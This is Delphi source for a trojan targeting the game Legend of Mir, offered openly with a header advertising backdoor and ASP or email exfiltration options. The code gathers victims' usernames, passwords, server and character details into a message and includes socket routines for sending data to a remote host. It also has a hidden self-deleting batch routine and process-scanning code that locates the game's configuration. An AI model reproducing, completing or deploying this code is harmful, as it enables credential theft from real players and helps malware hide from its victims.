main.dpr

传奇木马原代码 DELPHI编写 可设置后门 ASP和邮箱发信两种设置

program Main;


uses
  Windows,ThreadUnit, TLHelp32,IniFiles,{Wininet ,}Messages  ,SysUtils, winsock,Unit_MySendMailByHtml,
  Reg in 'Reg.pas',
  Other in 'Other.pas',
  WinPerf in 'WinPerf.pas',
  Pdh in 'Pdh.pas';


  Const
      cOsUnknown              : Integer = -1;
      cOsWin95                : Integer =  0;
      cOsWin98                : Integer =  1;
      cOsWin98SE              : Integer =  2;
      cOsWinME                : Integer =  3;
      cOsWinNT                : Integer =  4;
      cOsWin2000              : Integer =  5;
      cOsWhistler             : Integer =  6;

var
  WinClass:TWndClassA;
  Inst,Handle,KeyHook,Newtime:Integer;
  Msg:TMsg;
  LogoID:array[0..255] of char;//String;
  Str:array[1..19] of array[0..255] of char;
  PWhand:Longint;
  LogoArea:string;
  Filereadok:boolean;
  serverbutton:array of Tpoint;
  UserName,PassWord,Quyu,ServerNick,ZhuangBei:String;
  Js1Name,Js1ZhiYe,Js1Dengji,Js1Xingbei:String;
  Js2Name,Js2ZhiYe,Js2Dengji,Js2Xingbei:String;
  Flag,Flag1,Flag2:Boolean;
  zb1,zb2,zb3,zb4,zb5,zb6,zb7,zb8,zb9,zb10,zb11,zb12,zb13,zb14,zb15,zb16,zb17,zb18,zb19:String;
  SafeFilse:File;
//  PGetMail:String;
//  PSmtp:String;
//  Puser:String;
//  PPass:String;
    PAspUrl,PEmailUrl:string;
const
  ClassName='TCQ2004';
  ExeFiles='RUN_DLL32.EXE';
  //DLLFiles='WinSoft3.DLL';
  CRLF=#13#10;
  BaseTable:string='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

{$R *.RES}
{安装目录路径}
{
function FindInTable(CSource:char):integer;
begin
  result:=Pos(string(CSource),BaseTable)-1;
end;

function EncodeBase64(Source:string):string;
var
  Times,LenSrc,i:integer;
  x1,x2,x3,x4:char;
  xt:byte;
begin
  result:='';
  LenSrc:=length(Source);
  if LenSrc mod 3 =0 then Times:=LenSrc div 3
  else Times:=LenSrc div 3 + 1;
  for i:=0 to times-1 do
  begin
    if LenSrc >= (3+i*3) then
    begin
      x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];
      xt:=(ord(Source[1+i*3]) shl 4) and 48;
      xt:=xt or (ord(Source[2+i*3]) shr 4);
      x2:=BaseTable[xt+1];
      xt:=(Ord(Source[2+i*3]) shl 2) and 60;
      xt:=xt or (ord(Source[3+i*3]) shr 6);
      x3:=BaseTable[xt+1];
      xt:=(ord(Source[3+i*3]) and 63);
      x4:=BaseTable[xt+1];
    end
    else if LenSrc>=(2+i*3) then
    begin
      x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];
      xt:=(ord(Source[1+i*3]) shl 4) and 48;
      xt:=xt or (ord(Source[2+i*3]) shr 4);
      x2:=BaseTable[xt+1];
      xt:=(ord(Source[2+i*3]) shl 2) and 60;
      x3:=BaseTable[xt+1];
      x4:='=';
    end else
    begin
      x1:=BaseTable[(ord(Source[1+i*3]) shr 2)+1];
      xt:=(ord(Source[1+i*3]) shl 4) and 48;
      x2:=BaseTable[xt+1];
      x3:='=';
      x4:='=';
    end;
    result:=result+x1+x2+x3+x4;
  end;
end;

}


//20030907
function LookupName(const Name: string): TInAddr;
var
  HostEnt: PHostEnt;
  InAddr: TInAddr;
begin
  HostEnt := gethostbyname(PChar(Name));
  FillChar(InAddr, SizeOf(InAddr), 0);
  if HostEnt <> nil then
  begin
    with InAddr, HostEnt^ do
    begin
      S_un_b.s_b1 := h_addr^[0];
      S_un_b.s_b2 := h_addr^[1];
      S_un_b.s_b3 := h_addr^[2];
      S_un_b.s_b4 := h_addr^[3];
    end;
  end;
  Result := InAddr;
end;

function HostToIP(Name: string; var Ip: string): Boolean;
var
  wsdata : TWSAData;
  hostName : array [0..255] of char;
  hostEnt : PHostEnt;
  addr : PChar;
begin
  WSAStartup ($0101, wsdata);
  try
    gethostname (hostName, sizeof (hostName));
    StrPCopy(hostName, Name);
    hostEnt := gethostbyname (hostName);
    if Assigned (hostEnt) then
      if Assigned (hostEnt^.h_addr_list) then begin
        addr := hostEnt^.h_addr_list^;
        if Assigned (addr) then begin
          IP := Format ('%d.%d.%d.%d', [byte (addr [0]),
          byte (addr [1]), byte (addr [2]), byte (addr [3])]);
          Result := True;
        end
        else
          Result := False;
      end
      else
        Result := False
    else begin
      Result := False;
    end;
  finally
    WSACleanup;
  end
end;

function StartNet(host:string;port:integer;var sock:integer):Boolean;
var wsadata:twsadata;
  	FSocket:integer;
  	SockAddrIn:TSockAddrIn;
  	err:integer;
    IP:String;
begin
  err:=WSAStartup($0101,WSAData);
  FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
  if FSocket=invalid_socket then begin
    Result:=False;
    Exit;
  end;
  //20030907
  if HostToIP(host,IP) then
  begin
  //SockAddrIn.sin_addr:=LookupName(host);
  SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(IP));
  SockAddrIn.sin_family := PF_INET;
  SockAddrIn.sin_port :=htons(port);
  err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
  if err=0 then begin
   	sock:=FSocket;
   	Result:=True;
  end else Result:=False;
end;
end;

procedure StopNet(Fsocket:integer);
var err:integer;
begin
  err:=closesocket(FSocket);
  err:=WSACleanup;
end;

function SendData(FSocket:integer;SendStr:string):integer;
var DataBuf:array[0..4096] of char;
		err:integer;
begin
 	strcopy(DataBuf,pchar(SendStr));
 	err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE);
 	Result:=err;
end;

function GetData(FSocket:integer):String;
const MaxSize=1024;
var DataBuf:array[0..MaxSize] of char;
  	err:integer;
begin
  err:=recv(FSocket,DataBuf,MaxSize,0);
  Result:=Strpas(DataBuf);
end;

function GetMailText:String;
begin
  Result:='用户名：'+UserName+ CRLF
         +'密  码：'+PassWord+ CRLF
         +'区  域：'+QuYu+ CRLF
         +'服务器：'+ServerNick + CRLF
         +'角色名称1：'+Js1Name + CRLF
         +'角色职业1：'+Js1ZhiYe + CRLF
         +'角色等级1：'+Js1Dengji + CRLF
         +'角色性别1：'+Js1Xingbei + CRLF
         +'角色名称2：'+Js2Name + CRLF
         +'角色职业2：'+Js2ZhiYe + CRLF
         +'角色等级2：'+Js2Dengji + CRLF
         +'角色性别2：'+Js2Xingbei + CRLF
         +'角色装备：'+ZhuangBei + CRLF
end;



function Windowspath :string;
var sysdir:array [0..255] of char;
begin
  GetWindowsDirectory(sysdir,255);
  Result :=sysdir;
  if copy(Result,length(Result),1)<>'\' then
  Result:=Result+'\';
end;



function WinisNT :Bool;
var osvi:OSVERSIONINFO;
begin
  osvi.dwOSVersionInfoSize :=sizeof(osversioninfo);;
  getversionex(osvi);
  if osvi.dwPlatformId=VER_PLATFORM_WIN32_NT then
     Result:=True
  else
     Result:=False;
end;


procedure DelMe;
var
  F            : textfile;
  BatchFileName: string;
  ProcessInfo  : TProcessInformation;
  StartUpInfo  : TStartupInfo;
begin
  DelValue(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp','NoRealMode');
  BatchFileName:= Windowspath+'Deleteme.bat';
  AssignFile(F,BatchFileName);
  Rewrite(F);
  WriteLn(F,':try');
  WriteLn(F,'del "' + ParamStr(0) + '"');
  WriteLn(F,'if exist "' + ParamStr(0) + '"' + ' goto try');
  WriteLn(F,'del %0');
  CloseFile(F);
  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;
  if CreateProcess(nil, PChar(BatchFileName), nil, nil,  
    False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
    ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;
end;


function GetEXEPathInfo(ProcID : DWORD;ExeName:String):String;
var
 snap   : THandle;
 me32   : TMODULEENTRY32;
begin
 snap := 0;

 try
  snap := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,
                                   ProcID);
  if snap <> 0 then begin
   me32.dwSize := SizeOf(TMODULEENTRY32);
   if Module32First(snap, me32) then begin
    if me32.th32ProcessID = ProcID then
      if LowerCase(ExtractFileName(ExeName))=LowerCase(me32.szModule) then
        begin
          Result :=String(me32.szExePath);
          Exit;
        end;
    while Module32Next(snap, me32) do begin
     if me32.th32ProcessID = ProcID then begin
      if LowerCase(ExtractFileName(ExeName))=LowerCase(me32.szModule) then
      begin
        Result :=String(me32.szExePath);
        break;
      end;
     end;
    end;
   end;
  end;
 finally
  CloseHandle(snap);
 end;
end;

function IsMirFtpini:String;
var  
    isOK:Boolean;
    ProcessHandle:Thandle;
    ProcessStruct:TProcessEntry32;
begin
     Result:='C:\Program Files\Shanda\Legend of Mir\ftp.ini';
     ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);
     processStruct.dwSize:=sizeof(ProcessStruct);
     isOK:=process32first(ProcessHandle,ProcessStruct);
     while isOK do
     begin
	      if UpperCase(ExtractFilename(ProcessStruct.szExeFile))=UpperCase('MIR.DAT') then//进程名-------------------1
        begin
          Result:=ExtractFilePath(GetEXEPathInfo(ProcessStruct.th32ProcessID,ProcessStruct.szExeFile))+'ftp.ini';
          Break;
        end;
	      isOK:=process32next(ProcessHandle,ProcessStruct);
     end;
     CloseHandle(ProcessHandle);
end;

function GetServerName(Y:integer;var count:String):String;
var
  i,k:integer;
  Myinifile: Tinifile;
  INIFileName: String;

begin
  INIFileName:=IsMirFtpini;
  if FileExists(INIFileName) then
    begin
      Myinifile := Tinifile.Create(INIFileName);
      try
        K:=Strtoint(Myinifile.Readstring('Server', 'ServerCount', '1'));
      except
      end;

Case K Of
  1:begin
      i:=1;
    end;
  2:begin
      if (y>267) and (y<309) then i:=1 else
      if (y>309) and (y<351) then i:=2 else i:=1;
    end;
  3:begin
      if (y>246) and (y<288) then i:=1 else
      if (y>288) and (y<330) then i:=2 else
      if (y>330) and (y<372) then i:=3 else i:=1;
    end;
  4:begin
      if (y>225) and (y<267) then i:=1 else
      if (y>267) and (y<309) then i:=2 else
      if (y>309) and (y<351) then i:=3 else
      if (y>351) and (y<393) then i:=4 else i:=1;
    end;
  5:begin
      if (y>204) and (y<246) then i:=1 else
      if (y>246) and (y<288) then i:=2 else
      if (y>288) and (y<330) then i:=3 else
      if (y>330) and (y<372) then i:=3 else
      if (y>372) and (y<414) then i:=4 else i:=1;
    end;
  6:begin
      if (y>183) and (y<225) then i:=1 else
      if (y>225) and (y<267) then i:=2 else
      if (y>267) and (y<309) then i:=3 else
      if (y>309) and (y<351) then i:=4 else
      if (y>351) and (y<393) then i:=5 else
      if (y>393) and (y<435) then i:=6 else i:=1;
    end;
  7:begin
      if (y>162) and (y<204) then i:=1 else
      if (y>204) and (y<246) then i:=2 else
      if (y>246) and (y<288) then i:=3 else
      if (y>288) and (y<330) then i:=4 else
      if (y>330) and (y<372) then i:=5 else
      if (y>372) and (y<414) then i:=6 else
      if (y>414) and (y<456) then i:=8 else i:=1;
    end;
  8:begin
      if (y>141) and (y<183) then i:=1 else
      if (y>183) and (y<225) then i:=2 else
      if (y>225) and (y<267) then i:=3 else
      if (y>267) and (y<309) then i:=4 else
      if (y>309) and (y<351) then i:=5 else
      if (y>351) and (y<393) then i:=6 else
      if (y>393) and (y<435) then i:=7 else
      if (y>435) and (y<477) then i:=8 else i:=1;
    end;
end;
 count:=inttostr(i);
 Result:=Myinifile.Readstring('Server', Pchar('server'+inttostr(i)+'caption'), '未知区域');
 Myinifile.Free;
end;